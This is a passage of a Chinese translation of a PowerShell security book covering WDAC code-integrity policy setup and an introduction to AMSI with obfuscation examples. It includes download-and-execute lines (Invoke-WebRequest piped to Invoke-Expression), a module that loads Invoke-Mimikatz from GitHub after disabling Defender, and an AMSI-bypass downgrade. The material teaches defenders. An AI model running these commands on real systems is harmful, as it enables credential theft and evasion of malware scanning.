还有-Level参数,表示 CI 策略的级别。通过它,你可以指定允许运行哪些类型的文件。在此情况下,策略被设置为Publisher级别,意味着所有代码必须由受信任的发布者签名才能运行。

还可以使用以下级别:

  • None:禁用代码完整性强制执行。没有规则被执行。如果你想配置一个稳健的 CI 策略,这个级别没有意义。

  • Hash:仅允许在其哈希值与指定值匹配时,应用程序才能运行。

  • FileName:仅允许在应用程序位于特定文件路径时运行。这个级别一开始可能听起来很诱人,但它带来了更多的风险。如果攻击者能够访问系统上的文件,他们可能会轻松地将现有文件替换为恶意文件。最好不要使用这个选项。

  • SignedVersion:仅允许在应用程序具有特定签名版本时运行。

  • Publisher:仅允许在应用程序由指定发布者签名时运行。

  • FilePublisher:仅允许在应用程序由指定发布者签名且位于特定文件路径时运行。

  • LeafCertificate:仅允许在应用程序由指定的叶证书签名时运行。

  • PcaCertificate:仅允许在应用程序由指定 PCA 证书签名时运行。

  • RootCertificate:仅允许在应用程序由指定根证书签名时运行。

  • WHQL:仅允许加载经过Windows 硬件质量实验室WHQL)认证的签名驱动程序。

  • WHQLPublisher:仅允许加载经过 WHQL 认证并由特定发布者签名的驱动程序。

  • WHQLFilePublisher:仅允许加载经过 WHQL 认证、由特定发布者签名并位于特定文件路径的签名驱动程序。

接下来,让我们扫描Program Files文件夹,以从指定的参考系统创建策略:

> New-CIPolicy -FilePath "C:\AppControlPolicies\ProgramFiles.xml" -Level Publisher -UserPEs -ScanPath "C:\Program Files" -NoScript -Fallback SignedVersion,FilePublisher,Hash

再次说明,我们已将用户模式文件包含在扫描中,并希望确保所有包含在策略中的文件都由指定发布者签名。我们必须定义将新创建的策略保存到C:\AppControlPolicies\ProgramFiles.xml。为了避免脚本文件被包含在这个参考策略中,我们必须指定-NoScript参数。

使用-Fallback参数,您可以指定回退顺序;在这种情况下,如果在FilePublisher级别没有匹配项,策略引擎将回退到SignedVersionFilePublisherHash级别——恰好是这个顺序。

最后但同样重要的是,我们需要将策略合并为一个。为此,我们可以使用Merge-CIPolicy cmdlet:

> Merge-CIPolicy -PolicyPaths "C:\AppControlPolicies\Windows.xml", "C:\AppControlPolicies\ProgramFiles.xml" -OutputFilePath "C:\AppControlPolicies\AppControlPolicy.xml"

使用-PolicyPaths参数,我们可以指定应合并的策略,而使用-OutputFilePath,我们可以定义合并后的策略保存的位置。在这个例子中,我们将把最终的策略保存到C:\AppControlPolicies\AppControlPolicy.xml

策略以审计模式创建,因此它无法阻止应用程序,只会审计应用程序的使用。这对于测试和评估哪些应用程序应该被阻止非常有用。

一旦您准备好将阻止策略应用到您的系统,您可以使用以下命令从您的策略中移除仅审计配置:

> Set-RuleOption -FilePath "C:\AppControlPolicies\AppControlPolicy.xml" -Option 3 -Delete

要部署新生成的策略,您需要将其转换为二进制格式。

将 XML 文件转换为二进制 CI 策略

一旦你获得了 CI 策略的 XML 配置文件,你需要将其转换为二进制格式以进行部署。可以使用 ConvertFrom-CIPolicy cmdlet 完成此操作:

> ConvertFrom-CIPolicy -XmlFilePath "C:\AppControlPolicies\AppControlPolicy.xml" -BinaryFilePath "C:\Windows\System32\CodeIntegrity\AppControlPolicy.bin"

这里,我们之前生成的 AppControlPolicy.xml CI 策略将被编译成 AppControlPolicy.bin 二进制文件,并保存在 C:\Windows\System32\CodeIntegrity\AppControlPolicy.bin 下。

如果一个二进制 CI 策略保存在 C:\Windows\System32\CodeIntegrity\ 下,那么在相关系统重启后,它会立即启用。策略被移除后,再次重启系统,CI 策略引入的所有更改都会被撤销。

当然,如果你计划使用 Intune、MEM、GPO 或其他需要二进制配置文件的部署机制来部署 WDAC,你也可以将转换后的 CI 策略保存在你选择的其他路径下。

还有其他方法可以创建 CI 策略 XML 文件——例如,从审核事件中创建。

使用事件日志中的审核事件作为参考

创建 WDAC 策略的另一种方式是通过在审计模式下运行 WDAC,并使用审计日志来创建策略。类似于 AppLocker,如果 WDAC 处于审计模式,则任何在当前 WDAC 配置启用时会被阻止的应用程序都会被记录到审计日志中。

根据应用程序类型,这些事件可以在以下某个事件日志中找到:

  • 二进制相关事件: 应用程序和服务日志| **Microsoft** | **Windows** | **CodeIntegrity** |操作

  • MSI 和脚本相关事件: 应用程序和服务日志| **Microsoft** | **Windows** | **AppLocker** | **MSI**和脚本

记录到这些事件日志中的所有事件现在可以被用来创建一个全新的 CI 策略,或者将审核的配置合并到现有策略中:

> New-CIPolicy -FilePath "C:\AppControlPolicies\AuditEvents.xml" -Audit -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash –UserPEs -MultiplePolicyFormat

此命令会在 C:\AppControlPolicies\AuditEvents.xml 路径下创建一个新的 CI 策略。-Audit 参数指定应使用事件日志中的实际审计事件来创建策略。

-MultiplePolicyFormat 参数使我们能够同时使用多个策略,因为策略将以多策略格式存储,这一格式在 Windows 10 中被引入。

现在,你可以在将新创建的策略与其他现有策略合并和/或将其转换为二进制格式以供进一步使用之前,进行审核和编辑。

使用 New-CIPolicyRule cmdlet 创建 CI 策略

如果你想更精细地定义哪些应用程序应该出现在你的 CI 策略中,New-CIPolicyRule cmdlet 可以帮助你:

> $Rules = New-CIPolicyRule -FilePathRule "C:\Program Files\Notepad++\*"
> $Rules += New-CIPolicyRule -FilePathRule "C:\Program Files\PowerShell\7\*"
> New-CIPolicy -Rules $Rules -FilePath "C:\AppControlPolicies\GranularAppControlPolicy.xml" -UserPEs

上述代码将为Notepad++ 文件夹及其子文件夹创建一个 CI 策略规则,并为PowerShell 7路径创建另一个规则,并将这两个规则保存在$****Rules变量中。

然后,这两个规则可以用来创建一个新的 CI 策略,并保存在 C:\AppControlPolicies\GranularAppControlPolicy.xml 路径下。

之后,你可以使用Merge-CIPolicy将其与其他策略结合,或借助ConvertFrom-CIPolicy将其转换为二进制格式,以便用于其他用途。

你可以使用 ConfigCI PowerShell 模块来探索与代码完整性相关的其他操作方式:learn.microsoft.com/en-us/powershell/module/configci

虽然从技术上讲并非强制要求,但应启用基于虚拟化的安全功能,如安全启动,以确保代码完整性正常工作。安全启动确保系统仅以受信任的状态启动,并且所有启动文件都带有受信任的签名。这防止了启动过程被篡改,并确保操作系统及其驱动程序的完整性。

基于虚拟化的安全(VBS)

VBS 使用虚拟化作为基础,将内存中的某些区域与普通操作系统隔离。通过这种方式,可以通过加密可用内存和与该内存区域的通信,更好地保护被隔离的区域。

通过这种隔离,内存区域可以更好地保护,免受操作系统中活跃漏洞的影响。

其中一个例子是保护本地安全机构LSA)中的凭证,这使得从操作系统中提取和窃取凭证变得更加困难。

另一个例子是虚拟化保护的代码完整性HVCI),它使用 VBS 来实现代码完整性。

虚拟化保护的代码完整性(HVCI)

HVCI,也叫做内存完整性,是 VBS 的关键组件。HVCI 利用 VBS 技术通过确保内核和关键系统组件的完整性,防止内核模式攻击。它通过仅允许受信任和授权的代码在内核模式下运行来实现这一点。

如果 HVCI 激活,CI 功能会被转发到同一台机器上的一个安全虚拟环境中,在该环境中执行 WDAC 功能以确保完整性。如前所述,HVCI 使用 VBS 技术防止内核模式攻击。它通过验证仅允许已知和受信任的代码在内核模式下运行,来强制执行内核和关键系统组件的完整性。但从技术上讲,VBS 对于 WDAC 并不是必须的。

HVCI 利用现代 CPU 中的硬件特性,如虚拟化扩展和受信任的平台模块TPM),来创建一个安全的执行环境。TPM 用于存储系统引导固件、UEFI 和操作系统二进制文件的哈希值。在系统启动过程中,TPM 会对这些组件进行度量,并将度量结果提供给 HVCI 系统。HVCI 使用这些度量结果验证是否只有已知和受信任的组件被加载到内存中,从而防止未经授权的代码在内核模式下运行。

如果你想为 CI 策略启用 HVCI 选项,可以使用Set-HVCIOptions cmdlet:

> Set-HVCIOptions -Enabled -FilePath "C:\AppControlPolicies\GranularAppControlPolicy.xml"

您还可以通过使用-Strict参数进一步加强这一点:

> Set-HVCIOptions -Strict -FilePath "C:\AppControlPolicies\GranularAppControlPolicy.xml"

如果使用了-Strict选项,这意味着在应用此策略后,只允许加载 Microsoft 和 WHQL 签名的驱动程序。

要从 CI 策略中删除所有 HVCI 设置,您可以指定-None参数:

> Set-HVCIOptions -None -FilePath "C:\AppControlPolicies\GranularAppControlPolicy.xml"

另一个有用的 VBS 功能是安全启动,它可以显著增强您的 Windows 系统的安全性。

启用安全启动

安全启动确保系统以受信任的状态启动。这意味着所有用于启动系统的文件必须具有经组织信任的签名。通过这样做,如果这些文件被篡改,系统将无法启动。设备需要配备 TPM 芯片才能支持安全启动。

要验证您的计算机是否启用了安全启动,您可以使用Confirm-SecureBootUEFI cmdlet:

> Confirm-SecureBootUEFI

如果启用了安全启动,cmdlet 将返回True,如下图所示;如果没有启用,则返回False

图 11.27 – 启用安全启动

图 11.27 – 启用安全启动

如果您的 PC 硬件不支持安全启动(Secure Boot),您将收到一条错误信息,提示此平台不支持 Cmdlet

图 11.28 – 硬件不支持安全启动

图 11.28 – 硬件不支持安全启动

如果您想了解更多关于安全启动的信息,请查看以下链接:

攻击者常常使用恶意驱动程序和篡改的系统文件。安全启动与代码完整性结合使用,确保已启动的操作系统及其使用的驱动程序是可信的。

部署 WDAC

部署 WDAC 有多种方式:MDM 或 Intune、配置管理器(Configuration Manager)、组策略(GPO)以及 PowerShell。

由于详细描述每种部署方法会超出本书的篇幅,请参阅官方部署指南,您可以在其中找到每种部署方法的详细说明:https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control-deployment-guide。

在接下来的章节中,我们将探讨每种不同部署方法的优缺点。

组策略(GPO)

组策略并不是配置 WDAC 的首选方法;它只支持单一策略格式的CI 策略,并且文件类型为 .bin.p7b.p7。这种格式用于 Windows 10 版本 1903 之前的设备。作为最佳实践,应使用除 GPO 之外的部署机制。

但是,如果你仍然希望使用这种部署方式,可以在计算机配置 | 管理模板 | 系统 | 设备保护 | 部署 Windows Defender 应用程序控制下找到 WDAC GPO 设置。通过此设置,你可以部署 CI 策略。

你想要部署的二进制 CI 策略需要位于文件共享中,或者复制到每台你想要限制的机器的本地系统上。

有关如何通过 GPO 部署 WDAC 的详细文档,可以在这里找到:learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/deployment/deploy-wdac-policies-using-group-policy

Intune

你可以使用 MDM 解决方案来配置 WDAC,例如 Intune。通过 Intune,应用控制内置了一些可配置的策略,你可以配置这些策略,以便客户机只能运行 Windows 组件、第三方硬件和软件内核驱动程序、来自 Microsoft Store 的应用,以及由 Microsoft Intelligence Security Graph 信任的信誉良好的应用(可选)。

当然,也可以使用 OMA-URI 创建自定义的 WDAC 策略,这与通过 Intune 配置 AppLocker 策略的方式类似。

在每个 XML CI 策略文件中,你可以找到一个策略 ID。复制此 ID,并将{PolicyID}替换为以下字符串,以获取自定义策略的 OMA-URI:

./Vendor/MSFT/ApplicationControl/Policies/{PolicyID}/Policy

请注意,你还需要替换大括号。以下截图显示了你可以找到PolicyID的位置:

图 11.29 – 你可以在 XML CI 策略文件中找到策略 ID

图 11.29 – 你可以在 XML CI 策略文件中找到策略 ID

使用此PolicyID,相应的 OMA-URI 如下所示:

./Vendor/MSFT/ApplicationControl/Policies/A244370E-44C9-4C06-B551-F6016E563076/Policy

你可以在learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/deployment/deploy-wdac-policies-using-intune了解更多关于如何使用 Intune 部署 WDAC 的信息。

Microsoft 配置管理器

使用配置管理器时,它本身会成为一个可信源。这意味着通过配置管理器安装的每个应用程序和软件都被视为可信并允许运行。此选项需要通过内置策略进行配置。

类似于使用 Intune 部署,Configuration Manager 还提供了一些内置的策略,使您可以配置客户端仅运行来自 Microsoft Store 的 Windows 组件和应用程序。您还可以选择信任具有良好声誉的应用程序,这些应用程序已由Intune 服务网关ISG)验证。Configuration Manager 还带有另一个可选的内置策略:可以允许已经安装在指定文件夹中的应用程序和其他可执行文件。

您可以通过以下链接了解更多关于如何使用 Configuration Manager 部署 WDAC:learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/deployment/deploy-wdac-policies-with-memcm

PowerShell

根据操作系统的不同,使用 PowerShell 部署 WDAC 的方式也有所不同,因为并非所有操作系统版本都具备所有功能。WDAC 策略刷新工具也需要下载并部署到每个受管理的端点:www.microsoft.com/en-us/download/details.aspx?id=102925

对于这种方法,您还需要获取策略的二进制文件并将其复制到每个受管理的端点。然而,与 GPO 相比,您可以部署多个 WDAC 策略。要部署签名策略,您还需要将二进制策略文件复制到设备的 EFI 分区。签名策略通过确保仅应用由受信任实体签名的策略,为端点提供额外的安全层。如果使用 Intune 或 CSP 进行部署,此步骤将自动完成。

Matt Graeber 的 WDACTools 也是简化部署过程的宝贵资源。这些工具专门设计用于简化构建、配置、部署和审核 WDAC 策略的过程。您可以从 Matt 的 GitHub 仓库下载它们:github.com/mattifestation/WDACTools

有关如何使用 PowerShell 部署 WDAC 的详细信息,请参阅:learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/deployment/deploy-wdac-policies-with-script

当强制执行应用程序控制时,PowerShell 会发生什么变化?

当强制执行应用程序控制时,PowerShell 充当保护措施,防止潜在对手滥用其功能。通过主动实施应用程序控制措施,PowerShell 确保其强大的脚本语言不能被攻击者轻易滥用,从而绕过已施加的限制。

PowerShell 可以通过多种方式受到限制,包括禁用运行 PowerShell 脚本的能力或只允许运行已签名的 PowerShell 脚本。

第五章PowerShell 的强大——系统和 API 访问中,我们讨论了如何在系统不受限制的情况下,使用 PowerShell 运行任意.NET代码,甚至执行编译后的代码。这会使防范恶意代码变得非常困难。在强制应用控制的情况下,可以消除如Add-Type、任意.NET 脚本和其他常用绕过安全机制的代码执行方法。

PowerShell 包括内置的受限语言模式,我们在第十章语言模式与足够的管理权限(JEA)中进行了探讨。受限语言模式限制了 PowerShell,阻止用户执行危险的语言元素,如访问任意 API。

这意味着某些危险的语言元素,如Add-TypeCOM 对象和一些可以用于执行任意代码的.NET 类型,无法使用。如果强制执行,受限语言模式(Constrained Language mode)可以限制攻击者执行任意代码和修改系统配置的能力。在受限语言模式下,PowerShell 环境仅保留传统较弱交互式 shell 的核心基本功能,类似于 CMD、Windows 资源管理器或 Bash。

确保 PowerShell 代码可信任的一种有效方法是强制使用签名脚本。在应用控制的情况下,如果脚本被信任并允许在完全语言模式下运行,则会按照要求执行。但是,如果脚本不被信任,则它将始终在受限语言模式下运行,这意味着如果脚本尝试调用任意 API 和其他危险语言元素,将会失败。

当应用控制被强制执行,并且 PowerShell 在受限语言模式下运行时,如果你尝试直接从.NET 调用方法,它们将会失败,如下图所示:

图 11.30 – 启用应用控制时,无法访问.NET 类型

图 11.30 – 启用应用控制时,无法访问.NET 类型

使用Add-Type从 PowerShell 中添加并访问 C 类型也会失效——你会收到以下错误消息:

图 11.31 – 强制执行应用控制时,Add-Type 失败

图 11.31 – 强制执行应用控制时,Add-Type 失败

这些并不是唯一会失败的命令,但它们应该能演示启用应用控制后,PowerShell 体验的不同。

如果您允许在应用控制策略中使用签名的 Windows 文件,这意味着与 Windows 安装一起提供的 PowerShell 模块也将被允许在完整语言模式下运行。然而,自定义创建的模块将以受限语言模式运行,除非它们已在您的应用控制设置中被配置为可信。这有效地减少了系统的攻击面。

如本章前面提到的,在撰写时,PowerShell 和 WSH 家族是唯一可以通过应用控制进行限制的动态运行时,而其他运行时仍然允许无限制的代码执行。因此,PowerShell 在使用应用控制策略锁定环境时具有巨大优势。

总结来说,实施应用控制机制,如 WDAC 和 AppLocker,可以显著提升 PowerShell 安全性。通过强制执行如受限语言模式等约束,限制 PowerShell 脚本执行任意代码或修改系统配置的能力。通过实施这些措施,显著减少系统的攻击面,并使攻击者更难执行恶意代码。

总结

在本章中,您学习了如何将现有的 PowerShell 脚本配置为可信,并将其加入允许列表,但不仅仅是 PowerShell 脚本。在这一点上,您应该已经对如何为环境中的所有应用程序实现适当的应用控制解决方案有了充分的理解。

首先,您了解了如何签署您的代码,以及如何创建一个自签名脚本,供测试使用。掌握了这些知识后,您可以轻松地转移到企业环境中,您可能已经在使用企业签名或公共签名的证书。

接下来,我们深入研究了应用控制,并了解了现有的内建应用控制解决方案:SRP、AppLocker 和 WDAC。现在,您也应该熟悉如何规划在您的环境中进行允许列表配置。

然后,我们探索了 AppLocker 和 WDAC,并学习了如何审计 AppLocker 和 WDAC。我们还研究了如何配置 AppLocker 以避免可能的 PowerShell 降级攻击。

最后但同样重要的是,我们了解到,每当可能时,WDAC 是最安全的选项,其次是 AppLocker。然而,二者可以根据操作系统和使用场景在同一环境中结合使用。

然而,仅仅限制脚本和应用程序还不足以确保环境的安全性和强化。在下一章中,我们将探讨 Windows 恶意软件扫描接口AMSI)如何保护您免受直接在控制台或内存中运行的恶意代码攻击。

进一步阅读

如果您想进一步探索本章中提到的一些话题,可以参考以下资源:

证书操作

CI/CD

应用控制

AppLocker:

你还可以在 GitHub 仓库中找到本章提到的所有链接,无需手动输入每个链接:第十一章https://github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter11/Links.md。

第十二章:探索反恶意软件扫描接口(AMSI)

过去,攻击者通常使用脚本或可执行文件让恶意软件在客户端系统上运行。但随着反病毒产品逐年提升,基于文件的恶意软件变得更容易被识别和移除。

对于恶意软件作者来说,这是一个严重的问题,他们试图绕过它,因此他们想出了直接在内存中运行恶意代码的解决方案,而不触及硬盘。具体来说,像 PowerShell、VBScript、JavaScript 等内置程序和其他工具被用来运行恶意软件攻击。攻击者变得富有创意,并混淆他们的代码,使其不容易被识别为恶意软件。

微软提出了解决方案,用于在运行代码之前进行检查,这就是反恶意软件扫描接口AMSI)。AMSI 已相应发展,甚至可以防御最复杂的攻击。然而,攻击者和防御者之间的猫鼠游戏依然在不断进行。

本章将介绍 AMSI 的工作原理,以及攻击者如何试图绕过它。我们将讨论以下内容:

  • 什么是 AMSI,如何工作?

  • 为什么选择 AMSI?一个实际的例子

  • 绕过 AMSI:PowerShell 降级攻击、配置篡改、内存补丁、钩子技术和动态链接库劫持

  • 混淆和 Base64 编码

技术要求

为了最大限度地利用本章内容,请确保你具备以下条件:

  • PowerShell 7.3 及以上版本

  • 安装了 Visual Studio Code

  • 安装了 Ghidra

  • 一些关于汇编代码和调试器的基本知识

  • 本章的 GitHub 存储库访问:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter12

什么是 AMSI,如何工作?

AMSI 是一个旨在帮助防御恶意软件的接口。不仅 PowerShell,其他语言如 JavaScript 和 VBScript 也可以从中受益。它还为第三方和自定义应用程序提供了保护用户免受动态恶意软件攻击的选项。它是在 Windows 10/Windows Server 2016 中引入的。

目前,AMSI 支持以下产品:

  • PowerShell

  • Office Visual Basic for Applications 宏

  • VBScript

  • Excel 4.0(XLM)宏

  • Windows 管理工具

  • 动态加载的.NET 程序集

  • JScript

  • MSHTA/JScript9

  • 用户帐户控制

  • Windows 脚本宿主(wscript.execscript.exe

  • 支持 AMSI 的第三方产品

像其他 API 一样,AMSI 提供了 Win32 API 和 COM API 的接口。AMSI 是一个开放标准,因此不限于 PowerShell;任何开发者都可以根据需要开发其应用程序以支持 AMSI,并且任何注册的反恶意软件引擎都可以处理通过 AMSI 提供的内容,正如下图所示的 AMSI 架构:

图 12.1 – AMSI 架构

图 12.1 – AMSI 架构

在本章中,我将仅讨论通过 PowerShell 启动 AMSI 时发生的情况,但请注意,对于前面列出的所有其他产品,它的工作原理类似。

当 PowerShell 进程被创建时,amsi.dll 被加载到其进程内存空间中。现在,每当尝试执行脚本或即将运行命令时,都会首先经过 amsi.dll。在 amsi.dll 内部,AmsiScanBuffer()AmsiScanString() 函数负责确保所有即将运行的命令或脚本在执行之前都会通过本地安装的防病毒解决方案扫描是否存在恶意内容:

图 12.2 – AMSI 功能

图 12.2 – AMSI 功能

Amsi.dll 然后记录代码的行为并检查当前的防病毒软件是否创建了与此行为匹配的签名。默认情况下配置了 Windows Defender,但 AMSI 也提供了一个接口,用于与其他第三方防恶意软件程序进行交互。

如果签名匹配,则阻止代码执行。如果一切看起来正常,则执行代码。

为什么选择 AMSI?一个实际例子

在我们深入了解 AMSI 是什么之前,让我们先看看 为什么。正如我在本章开头提到的,这是攻击者和防御者之间的持续战斗。攻击者试图发动成功的攻击,而防御者则试图阻止它们。

在早期,攻击者很容易做到。通常,他们只需编写一个脚本来执行其恶意操作,但很快,防御者做出了反应,以便检测和阻止他们的恶意意图。攻击者不得不混淆他们的行动来发动成功的攻击。

为了分析内容,反恶意软件供应商可以创建自己的进程内 COM 服务器(DLL),作为 AMSI 提供程序,并将其注册在以下注册表路径下:

  • HKLM\SOFTWARE\Microsoft\AMSI\Providers

  • HKLM\SOFTWARE\Classes\CLSID

供应商可以注册一个或多个 AMSI 提供程序 DLL。

当应用程序(如 PowerShell)将内容提交给 AMSI 进行扫描时,供应商的 AMSI 提供程序 DLL 接收并分析内容。提供程序 DLL 分析内容并以 AMSI_RESULT 枚举值的形式向原始应用程序返回决策,指示代码是否被视为恶意。

如果结果是 AMSI_RESULT_DETECTED 并且未采取预防措施,则由提交应用程序决定如何处理已识别的恶意内容。

为了检测恶意脚本和活动,反恶意软件解决方案通常使用签名,需要频繁更新以应对新威胁。

PowerShell 脚本本质上是文本文件,这意味着它们必须经过字符串解析才能识别恶意行为。当脚本被混淆时,检测恶意代码变得更加困难。混淆技术变化多端,通常需要解包器来检查软件的内部工作原理,以识别任何恶意行为或代码,并针对可能发生的每种混淆类型进行处理。

对攻击者而言,哈希碰撞、修改变量或参数,以及增加混淆层都是微不足道的事情,但对于防御者来说,通过使用签名来检测恶意活动却非常困难。

在其他形式的代码(如字节码或中间语言)中,指令会被编译成一组有限的指令,这使得模拟 API 变得更加容易。然而,对于脚本来说,情况则不同,这使得编写签名变得更加困难。

在接下来的章节中,我们将通过六个示例来帮助你理解为什么以及如何像 AMSI 这样的解决方案可以扩展常规反恶意软件引擎的功能,以及防御者在试图领先于恶意软件作者时在脚本编写中面临的挑战。请不要将每个示例当作单独的案例来看,而是将其作为一个整体故事来阅读。我已经为示例编号,以便于跟踪。你还可以在本章的 GitHub 仓库中找到代码(以及编码代码):github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/Examples_whyAMSI.ps1

示例 1

让我们看一个应该代表恶意代码的脚本。在这种情况下,它是无害的,因为它仅在命令行中输出Y0u g0t h4ck3d!,如下面所示:

function Invoke-MaliciousScript {
    Write-Host "Y0u g0t h4ck3d!"
}
Invoke-MaliciousScript

防御者现在可以编写一个非常简单的检测签名,查找Write-Host "Y0u g0t h4ck3d!" 字符串,以阻止该脚本的执行。

示例 2

假设攻击者需要想出一种新的方式来成功执行他们的脚本。那么,他们可能会开始将字符串拆分成多个部分,使用变量,并进行拼接:

function Invoke-MaliciousScript {
    $a = 4
    $output = "Y0" + "u g" + "0t h" + $a + "ck" + ($a - 1) + "d!"
    Write-Host $output
}
Invoke-MaliciousScript

旧的签名通过仅仅搜索字符串已不再匹配。为了应对这一变化,防御者开始构建简单的语言模拟。例如,如果发现某个字符串是由多个子字符串连接而成,新算法会模拟这种连接并与任何恶意模式进行匹配。

示例 3

此时,攻击者会尝试转向更复杂的方法——例如,通过使用 Base64 编码他们的有效载荷,并在运行脚本时解码,如下所示。"WQAwAHUAIABnADAAdAAgAGgANABjAGsAMwBkACEA" 字符串表示我们之前字符串"Y0u** **g0t h4ck3d!"的 Base64 编码版本:

function Invoke-MaliciousScript {
    $string = "WQAwAHUAIABnADAAdAAgAGgANABjAGsAMwBkACEA"
    $output = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($string))
    Write-Host $output
}
Invoke-MaliciousScript

但大多数反恶意软件程序幸运地已经实现了某种 Base64 解码仿真,因此大多数反病毒AV)引擎仍然会捕捉到这个示例。

结果,攻击者会尝试想出更困难的方式来使检测变得更加困难 - 例如使用算法混淆。

Example 4

对于以下示例,我已经使用简单的异或算法对我们的"Y0u g0t h4ck3d!"攻击字符串进行了编码,得到了"SyJnMnUiZjJ6JnF5IXYz"编码后的字符串。使用以下函数,我们可以使用XOR密钥0x12将字符串转换回原始模式:

function Invoke-MaliciousScript {
    $string = "SyJnMnUiZjJ6JnF5IXYz"
    $key = 0x12
    $bytes = [System.Convert]::FromBase64String($string)
    $output = -join ($bytes | ForEach-Object { [char] ($_ -bxor $key)})
    Write-Host $output
}
Invoke-MaliciousScript

现在,这个示例比普通反恶意软件引擎能够仿真的任何内容都要高级得多。因此,如果没有进一步的机制(如 AMSI),我们将无法检测到此脚本的操作。当然,防御者可以编写签名来检测混淆的脚本。

Example 5

但是如果脚本看起来只是一个正常的、行为良好的脚本,但最终却从网络下载并在本地执行恶意内容,就像以下示例一样,你如何为其编写签名呢?

function Invoke-MaliciousScript {
    $output = Invoke-WebRequest https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter12/AMSIExample5.txt
    Invoke-Expression $output
}
Invoke-MaliciousScript

如果运行此代码,您仍将获得输出"Y0u g0t h4ck3d!",我们通过上传到 GitHub 的脚本启动了该输出:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/AMSIExample5.txt

现在我们已经到了几乎不可能写出签名以检测这种恶意行为而不会生成太多误报的地步。误报只会给分析人员带来太多工作,如果误报太多,可能会错过真正的威胁。所以,这是一个问题。但这正是 AMSI 发挥作用的地方。

Example 6

现在,启用了 AMSI,让我们看看当我们重复上一个示例时的行为,但这次使用的是会触发 AMSI 的文件:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/AMSIExample6.txt。不用担心,对于这个示例,我们也没有使用真正的恶意代码 - 我们使用的是生成 AMSI 测试样本字符串的示例,'AMSI 测试样本:7e72c3ce-861b-4339-8740-0ac1484c1386'

Figure 12.3 – 生成 AMSI 测试样本字符串的文件

Figure 12.3 – 生成 AMSI 测试样本字符串的文件

如果我们现在从命令行或脚本中运行一个恶意命令,你会看到 AMSI 干预并在命令执行之前将其阻止:Invoke-Expression (****Invoke-WebRequest** https://github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/AMSIExample6.txt**)

图 12.4 – AMSI 的工作过程

图 12.4 – AMSI 的工作过程

AMSI 阻止了执行,取决于你使用的反恶意软件引擎,你可以看到一个事件已经被生成。如果你使用的是默认的 Defender 引擎,你可以在Defender/Operational日志中找到所有 AMSI 相关的事件日志,事件 ID 为1116,如下所示的截图:

图 12.5 – 如果使用默认的 Defender 引擎,AMSI 相关事件会出现在 Defender/Operational 事件日志中

图 12.5 – 如果使用默认的 Defender 引擎,AMSI 相关事件会出现在 Defender/Operational 事件日志中。

现在你已经了解了 AMSI 的工作原理、为什么它是必要的以及它如何帮助防御,我们接下来将深入探讨对手是如何尝试绕过 AMSI 的。

绕过 AMSI

AMSI 在防止恶意代码执行方面对防御者非常有帮助。但如果攻击者没有尝试找到绕过 AMSI 的方法,他们就不再是攻击者了。在这一部分,我们将探讨一些常见的技术。

我遇到的大多数绕过方法都以某种方式尝试篡改amsi.dll。大多数情况下,目标是通过替换amsi.dll为自定义版本,或者完全避免使用amsi.dll,从而使恶意代码看起来干净。

通常,当人们发现新的绕过方法并写博客时,它会在发布后不久被修复并检测到。

Joseph Bialek 最初编写了Invoke-Mimikatz.ps1脚本,以通过 PowerShell 使所有 Mimikatz 功能可用。

Invoke-Mimikatznishang模块的一部分,可以从 GitHub 下载:raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1

为了展示这里的示例,我创建了一个小模块,加载了Invoke-Mimikatz.ps1脚本。如果你想在你的演示环境中复现它,只需复制并粘贴原始代码:

New-Module -Name Invoke-MimikatzModule -ScriptBlock {
    Invoke-Expression (Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
    Export-ModuleMember -function Invoke-Mimikatz
} | Import-Module

你也可以在本章的 GitHub 仓库中找到这个小代码片段:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/Demo_loadMimikatz.ps1

免责声明

请确保此代码仅在你的演示环境中运行,而不是在你的生产机器上。

我在这些示例中使用的是 Windows PowerShell,而不是 PowerShell Core,因为这通常是攻击者的首选。使用 PowerShell Core 运行 Mimikatz 还会导致当前版本的 Invoke-Mimikatz.ps1 出现错误。

对于以下演示,Windows Defender 实时保护 被临时禁用以运行代码并将 Mimikatz 加载到内存中。如果一切正常,你现在将看到在运行 Invoke-Mimikatz 时的典型 Mimikatz 输出,如下截图所示:

图 12.6 – 从内存运行 Mimikatz

图 12.6 – 从内存运行 Mimikatz

在 Mimikatz 加载后,Windows Defender 实时保护再次启用。通过这种方式,接下来的示例更容易演示 AMSI 的影响。

现在,如果实时保护成功启用,你将看到运行 Mimikatz 时的以下输出:

图 12.7 – Mimikatz 被 AMSI 阻止

图 12.7 – Mimikatz 被 AMSI 阻止

该输出仅表示 AMSI 已经启用以保护这台机器,并且已阻止 Invoke-Mimikatz 命令的执行。

好的,现在我们可以开始演示示例了。

防止文件被检测或临时禁用 AMSI

大多数攻击尝试通过篡改 AMSI 库来防止恶意软件被扫描。

PowerShell 降级攻击

避免 AMSI 的最简单方法之一是将 PowerShell 版本降级到不支持 AMSI 的早期版本。你可以在 第四章,“检测 – 审计与监控”中找到降级攻击的详细解释,因此此处不再详细描述。

当尝试从普通 PowerShell 控制台运行 Invoke-Mimikatz 时,AMSI 会介入并阻止命令的执行。

但是,如果机器上安装了 PowerShell 版本 2,攻击者将能够通过降级攻击运行以下命令,从而绕过 AMSI:

图 12.8 – Invoke-Mimikatz 可以在没有 AMSI 干扰的情况下执行

